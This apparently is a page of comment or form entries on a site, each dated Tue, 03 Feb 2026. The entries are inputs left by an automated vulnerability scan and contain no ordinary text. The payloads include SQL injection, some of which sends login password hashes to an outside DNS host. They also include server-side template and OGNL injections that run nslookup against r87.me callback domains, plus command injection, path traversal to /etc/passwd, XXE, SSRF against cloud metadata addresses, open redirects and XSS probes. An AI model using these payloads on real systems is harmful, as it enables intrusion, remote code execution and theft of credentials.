[removed]ns(0x178033)[removed]
Tue, 03 Feb 2026
| SET /A 0xFFF9999-36125
Tue, 03 Feb 2026
127.100.11.2/elmah
Tue, 03 Feb 2026
1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '
Tue, 03 Feb 2026
%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-89890)}
Tue, 03 Feb 2026
ping -w 25 127.0.0.1 &
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup "leo2yix4_dnivsn9lrgzr5fal_ghjsipgmbbbeak"aha.r87.me"').(#p=new java.lang.ProcessBuilder({'cmd.exe','/c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
<? gethostbyname(trim('leo2yix4_dyuythva-rzmknegm8h06r8j2ty-luq'.'pik.r87.me'));//?>
Tue, 03 Feb 2026
c:\windows\win.ini
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
<%a style=x:expre/**/ssion(netsparker(0x17808F))>
Tue, 03 Feb 2026
1";expr 268409241 - 39530;"
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(107)||chr(103)||chr(100)||chr(114)||chr(122)||chr(121)||chr(120)||chr(103)||chr(97)||chr(117)||chr(112)||chr(115)||chr(56)||chr(51)||chr(121)||chr(104)||chr(104)||chr(55)||chr(113)||chr(110)||chr(122)||chr(48)||chr(110)||chr(107)||chr(107)||chr(109)||chr(109)||chr(97)||chr(49)||chr(121)||chr(56)||chr(120)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))
Tue, 03 Feb 2026
[removed]TlM3NzU0NTYxNDQ2NTc1
Tue, 03 Feb 2026
127.0.0.1/elmah
Tue, 03 Feb 2026
1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1
Tue, 03 Feb 2026
p "#{0xFFF9999.to_i-`echo 66218`.to_i}"
Tue, 03 Feb 2026
ping -n 25 127.0.0.1
Tue, 03 Feb 2026
{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbGVvMnlpeDRfZGxiNy1udHhxbGhyc3QzcHN4c2gzZ2xvZ2VyanAwbmNhby5yODcubWU=')).read()}}
Tue, 03 Feb 2026
file:///etc/passwd
Tue, 03 Feb 2026
r87.com/?http://www.aosacademy.com/
Tue, 03 Feb 2026
'{${gethostbyname(trim('leo2yix4_d87loe8-tdtx92jpu0-kzisea1ed-kp'.'w7m.r87.me'))}}'
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
...//...//...//...//...//...//...//...//...//...//...//windows/win.ini
Tue, 03 Feb 2026
n;ns:[removed]netsparker(0x1781F1));
Tue, 03 Feb 2026
1';expr 268409241 - 92438;'
Tue, 03 Feb 2026
[::1]/elmah
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(99)||chr(112)||chr(101)||chr(118)||chr(99)||chr(110)||chr(103)||chr(103)||chr(105)||chr(106)||chr(56)||chr(97)||chr(107)||chr(102)||chr(105)||chr(106)||chr(103)||chr(107)||chr(109)||chr(118)||chr(117)||chr(56)||chr(97)||chr(54)||chr(115)||chr(100)||chr(45)||chr(48)||chr(49)||chr(116)||chr(117)||chr(118)||chr(115)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'
Tue, 03 Feb 2026
1';SELECT pg_sleep(25)--
Tue, 03 Feb 2026
__import__('os').popen(('expr 268409241 - {0}').format('14968')).read()
Tue, 03 Feb 2026
{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnYkdWdk1ubHBlRFJmWkRFelptWTBhbXRwWjJWMGFtSXpPV3hzT1hKeGEyeG5lWFZpWTNOcGIzbHZZUzV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
Tue, 03 Feb 2026
ping -w 25 127.0.0.1
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
r87.com/?https://www.aosacademy.com/
Tue, 03 Feb 2026
createobject("WScript.Shell").exec("nslookup leo2yix4_d2xfopjye1ehl_4iw2d9ckxgyfwi17y" & "_jm.r87.me").StdOut.ReadAll
Tue, 03 Feb 2026
....//....//....//....//....//....//....//....//....//....//....//windows/win.ini
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
body{x:[removed]netsparker(0x1782A9))}
Tue, 03 Feb 2026
1;expr 268409241 - 55361;x
Tue, 03 Feb 2026
'
Tue, 03 Feb 2026
http://aws.r87.me/latest/meta-data/public-hostname
Tue, 03 Feb 2026
1;SELECT pg_sleep(25)--
Tue, 03 Feb 2026
= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbGVvMnlpeDRfZG9yb3RwNGhlenl4aDdrcG5tcG5tdjN1Z2VwaXplYml5by5yODcubWU=','base64').toString())
Tue, 03 Feb 2026
__import__('os').popen(('SET /A 268409241 - {0}').format('58186')).read()
Tue, 03 Feb 2026
|ping -n 25 127.0.0.1
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd.php
Tue, 03 Feb 2026
+createobject("WScript.Shell").exec("nslookup leo2yix4_dltuhu9nszumrzc1zw1vsngvjob_8ci" & "pxe.r87.me").StdOut.ReadAll
Tue, 03 Feb 2026
/\r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini
Tue, 03 Feb 2026
*/netsparker(0x1784DC);/*
Tue, 03 Feb 2026
http://169.254.169.254/latest/meta-data/public-hostname
Tue, 03 Feb 2026
SELECT pg_sleep(25)--
Tue, 03 Feb 2026
<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbGVvMnlpeDRfZG5kNXg4c25hc2s0Z3FmZXQ0cWxoYXRfeml3N2x3bXV3ZS5yODcubWU=','base64').toString()) %>
Tue, 03 Feb 2026
expr 268409241 - 27759;
Tue, 03 Feb 2026
(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
Tue, 03 Feb 2026
/blog/add_blog_comment/3
Tue, 03 Feb 2026
///r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
...//...//...//...//...//...//...//...//...//...//...//etc/passwd
Tue, 03 Feb 2026
+createobject("WScript.Shell").exec("nslookup leo2yix4_dnhgmh5kygibppe0gjdosob3eksmgdx" & "690.r87.me").StdOut.ReadAll+
Tue, 03 Feb 2026
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
'+netsparker(0x178552)+'
Tue, 03 Feb 2026
1);SELECT pg_sleep(25)--
Tue, 03 Feb 2026
http://127.0.0.1:22
Tue, 03 Feb 2026
{php}Smarty_Resource::parseResourceName(system("nslookup leo2yix4_d0mxeqnpehlq_sdsk9fwyo9hqeozjy0"."tgq.r87.me"),'b');{/php}
Tue, 03 Feb 2026
expr 268409241 - 34751
Tue, 03 Feb 2026
'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'
Tue, 03 Feb 2026
<iframe src="http://r87.com/?"></iframe>
Tue, 03 Feb 2026
/add_blog_comment/3
Tue, 03 Feb 2026
<%createobject("WScript.Shell").exec("nslookup leo2yix4_dr2qmybvghmi2sguq1exsfa-0x0pbzg" & "ajq.r87.me").StdOut.ReadAll%>
Tue, 03 Feb 2026
exec('xp_dirtree ''\\leo2yix4_deuvqyq172937pkftqnryqlpywvq15g'+'dw0.r87.me'+'\c$\a''')
Tue, 03 Feb 2026
....//....//....//....//....//....//....//....//....//....//....//etc/passwd
Tue, 03 Feb 2026
"+netsparker(0x178669)+"
Tue, 03 Feb 2026
/../../../../../../../../../../windows/iis6.log
Tue, 03 Feb 2026
1');SELECT pg_sleep(25)--
Tue, 03 Feb 2026
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup leo2yix4_dgf3jn-vxi6zwvvxyeaohqrp-usvvgg"~"fmu.r87.me")}}
Tue, 03 Feb 2026
response.write(268409241-39344)'
Tue, 03 Feb 2026
WEB-INF/web.xml
Tue, 03 Feb 2026
http://64.20.35.186:22
Tue, 03 Feb 2026
<!--#exec cmd="expr 268409241 - 52647"-->
Tue, 03 Feb 2026
convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))
Tue, 03 Feb 2026
www.aosacademy.com.r87.com/?
Tue, 03 Feb 2026
"+createobject("WScript.Shell").exec("nslookup leo2yix4_dsfmyhkpb_kenpnngijc3et5eblop8z" & "boc.r87.me").StdOut.ReadAll+"
Tue, 03 Feb 2026
declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.leo2yix4_d-vlqc82tpwye6sntmghg2-mgdqt1nl'+'4aw.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')
Tue, 03 Feb 2026
\';netsparker(0x178710);///
Tue, 03 Feb 2026
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd
Tue, 03 Feb 2026
/../../../../../../../../../../proc/self/fd/2
Tue, 03 Feb 2026
1'));SELECT pg_sleep(25)--
Tue, 03 Feb 2026
<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgbGVvMnlpeDRfZGZwamh3a3pqZHNsb2ZsY2N5ajZ2OWx4M3BiZG13N2xicy5yODcubWU=')})).to_s}" %>
Tue, 03 Feb 2026
http://[::1]:22
Tue, 03 Feb 2026
/../../../../../../../../../../WEB-INF/web.xml
Tue, 03 Feb 2026
+response.write(268409241-28350)'
Tue, 03 Feb 2026
gethostbyname(lc 'leo2yix4_dgzqejfazdzwz94ftg3wfyg4yjrtmxf'.'atk.r87.me')
Tue, 03 Feb 2026
'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='
Tue, 03 Feb 2026
|expr${IFS}268409241${IFS}-${IFS}30626
Tue, 03 Feb 2026
Tue, 03 Feb 2026
http://www.aosacademy.com.r87.com/?
Tue, 03 Feb 2026
1;exec('xp_dirtree ''\\leo2yix4_dsxoppw8ujnj5jg2h3ad5c29tfwp3qf'+'73s.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
',netsparker(0x17898B),'
Tue, 03 Feb 2026
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<bnNsb29rdXAgbGVvMnlpeDRfZDNodmk3OWtyYW5xZGdqYzZyYjZseXd3N2Z1LWI1ZXRiYy5yODcubWU=|{base64,--decode})}") }
Tue, 03 Feb 2026
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd
Tue, 03 Feb 2026
1));SELECT pg_sleep(25)--
Tue, 03 Feb 2026
http://127.0.0.1:3306
Tue, 03 Feb 2026
/../../../../../../../../../../proc/self/fd/2.php
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache2/access.log
Tue, 03 Feb 2026
"+response.write(268409241-41840)+"
Tue, 03 Feb 2026
eval('gethostbyname(lc 'leo2yix4_dyknbi27s-uyhhypbqbkgkeatpbukik'.'sxq.r87.me')')
Tue, 03 Feb 2026
/../../../../../../../../../../boot.ini
Tue, 03 Feb 2026
-1';exec('xp_dirtree ''\\leo2yix4_d4_pv-agepdrdrwo6xqsaz2e4xraaiu'+'ehc.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
Tue, 03 Feb 2026
https://www.aosacademy.com.r87.com/?
Tue, 03 Feb 2026
Tue, 03 Feb 2026
netsparker(0x178A16)
Tue, 03 Feb 2026
1/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup leo2yix4_db4aq2mmlxcfeuhim0cp1qbi-ygdfx_"+"ayk.r87.me") }
Tue, 03 Feb 2026
((SELECT(1)FROM(SELECT(SLEEP(25)))A))
Tue, 03 Feb 2026
<% response.write(268409241-66413) %>
Tue, 03 Feb 2026
http://64.20.35.186:3306
Tue, 03 Feb 2026
/../../../../../../../../../../etc/httpd/logs/error.log
Tue, 03 Feb 2026
1) exec('xp_dirtree ''\\leo2yix4_dia7x71nf9hilhkhxggtx_wicjy74ox'+'i1w.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
'+gethostbyname(lc 'leo2yix4_durnmefgf2poth4cvepipdj-nywxudf'.'jow.r87.me')+'
Tue, 03 Feb 2026
/../../../../../../../../../../boot.ini.php
Tue, 03 Feb 2026
/../../../../../../../../../../etc/httpd/logs/access.log
Tue, 03 Feb 2026
-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
Tue, 03 Feb 2026
//r87。com/?
Tue, 03 Feb 2026
netsparker(0x178A78);
Tue, 03 Feb 2026
Tue, 03 Feb 2026
require 'resolv';Resolv.getaddress ("leo2yix4_dm-yev0ankirabzohst22svydmvlpgl".concat "v_c.r87.me")
Tue, 03 Feb 2026
print(int)0xFFF9999-54119
Tue, 03 Feb 2026
/etc/passwd
Tue, 03 Feb 2026
http://[::1]:3306
Tue, 03 Feb 2026
/../../../../../../../../../../etc/httpd/logs/error_log
Tue, 03 Feb 2026
1/../../../../../../../../../../boot.ini
Tue, 03 Feb 2026
'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'
Tue, 03 Feb 2026
1')exec('xp_dirtree ''\\leo2yix4_dlgvchz90kzz-rb3pchw4gcv5nmm11u'+'yqc.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
"+gethostbyname(lc 'leo2yix4_decsb360zklqegbbc8iu0-mcuqgbjga'.'kg4.r87.me')+"
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/nginx/access.log
Tue, 03 Feb 2026
-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"
Tue, 03 Feb 2026
'+netsparker(0x178BE6)+'
Tue, 03 Feb 2026
@r87.com
Tue, 03 Feb 2026
Tue, 03 Feb 2026
print(int)0xFFF9999-26873;
Tue, 03 Feb 2026
__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbGVvMnlpeDRfZG9lbzFvZTk3Y2Vrc2xjcXBpc3hsM3Y3Z3psZ2ttejdxbS5yODcubWU=')).read()
Tue, 03 Feb 2026
https://www.aosacademy.com/server-status
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
1))exec('xp_dirtree ''\\leo2yix4_dkm9lceacgtipoohep7qegthves2ziq'+'y7e.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
file:///boot.ini
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache2/error.log
Tue, 03 Feb 2026
-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'
Tue, 03 Feb 2026
nslookup leo2yix4_dydq7-zocbcsmjvkll8gq_nn8mpbwei^sfy.r87.me&'\"`0&nslookup leo2yix4_dydq7-zocbcsmjvkll8gq_nn8mpbwei^sfy.r87.me&`'
Tue, 03 Feb 2026
(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))
Tue, 03 Feb 2026
' WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
/../../../../../../../../../../opt/lampp/logs/access_log
Tue, 03 Feb 2026
'"@--></style>[removed][removed]netsparker(0x178E4A)[removed]
Tue, 03 Feb 2026
Tue, 03 Feb 2026
+print(int)0xFFF9999-49558;//
Tue, 03 Feb 2026
https://www.aosacademy.com/trace.axd
Tue, 03 Feb 2026
http://169.254.169.254/opc/v1/instance
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache/error.log
Tue, 03 Feb 2026
1'))exec('xp_dirtree ''\\leo2yix4_de_zsr1fiwuwfyy2pu1gi7eubpxs2db'+'m3y.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
c:\boot.ini
Tue, 03 Feb 2026
[removed]TlM3NzU0NTYxNDQ2NTc1
Tue, 03 Feb 2026
-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))
Tue, 03 Feb 2026
& nslookup leo2yix4_d51i8mkkb1ilar_ufjes8xc0u7o4fki^fis.r87.me&'\"`0&nslookup leo2yix4_d51i8mkkb1ilar_ufjes8xc0u7o4fki^fis.r87.me&`'
Tue, 03 Feb 2026
cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)
Tue, 03 Feb 2026
"+netsparker(0x178ECF)+"
Tue, 03 Feb 2026
1 WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/lighttpd/access.log
Tue, 03 Feb 2026
www.aosacademy.com/trace.axd
Tue, 03 Feb 2026
https://metadata.packet.net/metadata
Tue, 03 Feb 2026
'+print(int)0xFFF9999-10550+'
Tue, 03 Feb 2026
-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+"
Tue, 03 Feb 2026
syscolumns WHERE 2>3;exec('xp_dirtree ''\\leo2yix4_dtetxiodf0cjvayh-rgi3syhrpk0nq4'+'yke.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'
Tue, 03 Feb 2026
/../../../../../../../../../../proc/version
Tue, 03 Feb 2026
'& nslookup leo2yix4_dwiahjgjflzhrra769hzwo47nu2wmuj^n9c.r87.me&'\"`0&nslookup leo2yix4_dwiahjgjflzhrra769hzwo47nu2wmuj^n9c.r87.me&`'
Tue, 03 Feb 2026
4
Tue, 03 Feb 2026
ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................
Tue, 03 Feb 2026
WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
<html xmlns="http://www.w3.org/1999/xhtml">[removed]netsparker(0x178F47)[removed]</html>
Tue, 03 Feb 2026
/../../../../../../../../../../AppServ/Apache24/logs/access.log
Tue, 03 Feb 2026
64.20.35.186/trace.axd
Tue, 03 Feb 2026
(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)
Tue, 03 Feb 2026
"+print(int)0xFFF9999-66306+"
Tue, 03 Feb 2026
DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_d_uq4uffdtf0-oowclx8vvcy_5ly2ii'+'wei.r87.me')exec sp_executesql @r
Tue, 03 Feb 2026
"& nslookup leo2yix4_dobcpa0htk1abvq0nt2-0sdmvjcteac^dxe.r87.me&'\"`0&nslookup leo2yix4_dobcpa0htk1abvq0nt2-0sdmvjcteac^dxe.r87.me&`'
Tue, 03 Feb 2026
/../../../../../../../../../../proc/version.php
Tue, 03 Feb 2026
') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1
Tue, 03 Feb 2026
4
Tue, 03 Feb 2026
/../../../../../../../../../../boot.ini
Tue, 03 Feb 2026
//r87.com/?0x178FD6
Tue, 03 Feb 2026
1) WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
../../../../../../../../../../xampp/apache/logs/access.log
Tue, 03 Feb 2026
127.100.11.2/trace.axd
Tue, 03 Feb 2026
<?=(int)0xFFF9999-58451;//?>
Tue, 03 Feb 2026
NSFTW
Tue, 03 Feb 2026
1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dr4l2obpz5pftzpkxpikgrnjmp1x2rg'+'lbs.r87.me')exec sp_executesql @r--
Tue, 03 Feb 2026
nslookup "leo2yix4_dqmqqgb39xtf-ibiumcp_c5svifxb6h""bcy.r87.me"
Tue, 03 Feb 2026
/blog/add_blog_comment/4
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
file:///boot.ini
Tue, 03 Feb 2026
') WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
<a>
Tue, 03 Feb 2026
N3tSp4rK3R
Tue, 03 Feb 2026
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache/access.log
Tue, 03 Feb 2026
'"--></style>[removed][removed]netsparker(0x17915D)[removed]
Tue, 03 Feb 2026
NS09<s1﹥DBLʺSNGLʹNS09
Tue, 03 Feb 2026
127.0.0.1/trace.axd
Tue, 03 Feb 2026
'+NSFTW+'
Tue, 03 Feb 2026
{php}print(int)0xFFF9999-40184;{/php}
Tue, 03 Feb 2026
-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dqeedzewu_rhv_b1vsmzfdsjepjtf0s'+'upg.r87.me')exec sp_executesql @r--
Tue, 03 Feb 2026
&nslookup "leo2yix4_dwefmkeb0gelsbquz3mqocxg1t1ksxw""pf8.r87.me"
Tue, 03 Feb 2026
c:\boot.ini
Tue, 03 Feb 2026
')) WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
file:///etc/passwd
Tue, 03 Feb 2026
/add_blog_comment/4
Tue, 03 Feb 2026
${28275*28275-(27673)}
Tue, 03 Feb 2026
ns@mail.ns'"/>()&%[removed]netsparker(0x1792AA)[removed]
Tue, 03 Feb 2026
'"--></style>[removed][removed]netsparker(0x1792B7)[removed]
Tue, 03 Feb 2026
[::1]/trace.axd
Tue, 03 Feb 2026
(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
Tue, 03 Feb 2026
'&nslookup "leo2yix4_d_xakyzspufhcp4inmh2nqhy8uuimsk""tgc.r87.me"
Tue, 03 Feb 2026
SELECT dblink_connect('host=leo2yix4_d2qvyipsgpgnj8g4d9uqn7o-vbvbrwu'||'oaw.r87.me user=a password=a connect_timeout=2')
Tue, 03 Feb 2026
'{${print(int)0xFFF9999-45205}}'
Tue, 03 Feb 2026
/../../../../../../../../../../web.config
Tue, 03 Feb 2026
WEB-INF/web.xml
Tue, 03 Feb 2026
1)) WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>
Tue, 03 Feb 2026
#{28275*28275-(66378)}
Tue, 03 Feb 2026
[removed]JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MTc5M0VCKTwvc2NyaXB0Pg==
Tue, 03 Feb 2026
Content-Type:text/html [removed]ns(0x1793D5)[removed]
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "http://leo2yix4"><!ENTITY % d "_dwihrwkreyuqoqwlirbczw5mj9hkaqmrgw.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Tue, 03 Feb 2026
leo2yix4_dpdgor9dt3lwfmq-c9tonxnuvokf5gzpb0.r87.me
Tue, 03 Feb 2026
https://www.aosacademy.com/elmah.axd
Tue, 03 Feb 2026
"&nslookup "leo2yix4_debtbbaqkjxi1xwcf9lmnwblphegu7p""rqs.r87.me"
Tue, 03 Feb 2026
-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
Tue, 03 Feb 2026
dblink_connect('host=leo2yix4_dmyxcvqt5cfarghrmslsu5hoxguh3t7'||'vr8.r87.me user=a password=a connect_timeout=2')
Tue, 03 Feb 2026
http://leo2yix4_dhcn4fr4nglcwkueghsjf5o6skoghl05ep.r87.me/p/
Tue, 03 Feb 2026
ns:netsparker056650=vuln
Tue, 03 Feb 2026
[php]print(int)0xFFF9999-79615;[/php]
Tue, 03 Feb 2026
/../../../../../../../../../../windows/win.ini
Tue, 03 Feb 2026
1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
/../../../../../../../../../../WEB-INF/web.xml
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/resource=http://leo2yix4"><!ENTITY % d "_d5xkfs1aul8t4glaprj3it0mbn_qmaeqto.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Tue, 03 Feb 2026
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///etc/passwd">]><ns>&lfi;</ns>
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd.php
Tue, 03 Feb 2026
<frame src="[removed]netsparker(0x179477)"></frame>
Tue, 03 Feb 2026
www.aosacademy.com/elmah.axd
Tue, 03 Feb 2026
'" ns=netsparker(0x179475)
Tue, 03 Feb 2026
//leo2yix4_dbwb6plrzpyntckfd1ltynbuws5vigywoa.r87.me
Tue, 03 Feb 2026
|nslookup${IFS}"leo2yix4_dbkhkyxlqapemchlf_xpce0iif3aldy""mes.r87.me"
Tue, 03 Feb 2026
{{268409241-6145}}
Tue, 03 Feb 2026
cast((SELECT dblink_connect('host=leo2yix4_dntksjxgbesv93wy988jwihfuvoadvz'||'kdm.r87.me user=a password=a connect_timeout=2')) as numeric)
Tue, 03 Feb 2026
1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1
Tue, 03 Feb 2026
file:///windows/win.ini
Tue, 03 Feb 2026
http://example.com/? ns: netsparker056650=vuln
Tue, 03 Feb 2026
hTTp://r87.com/n
Tue, 03 Feb 2026
1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
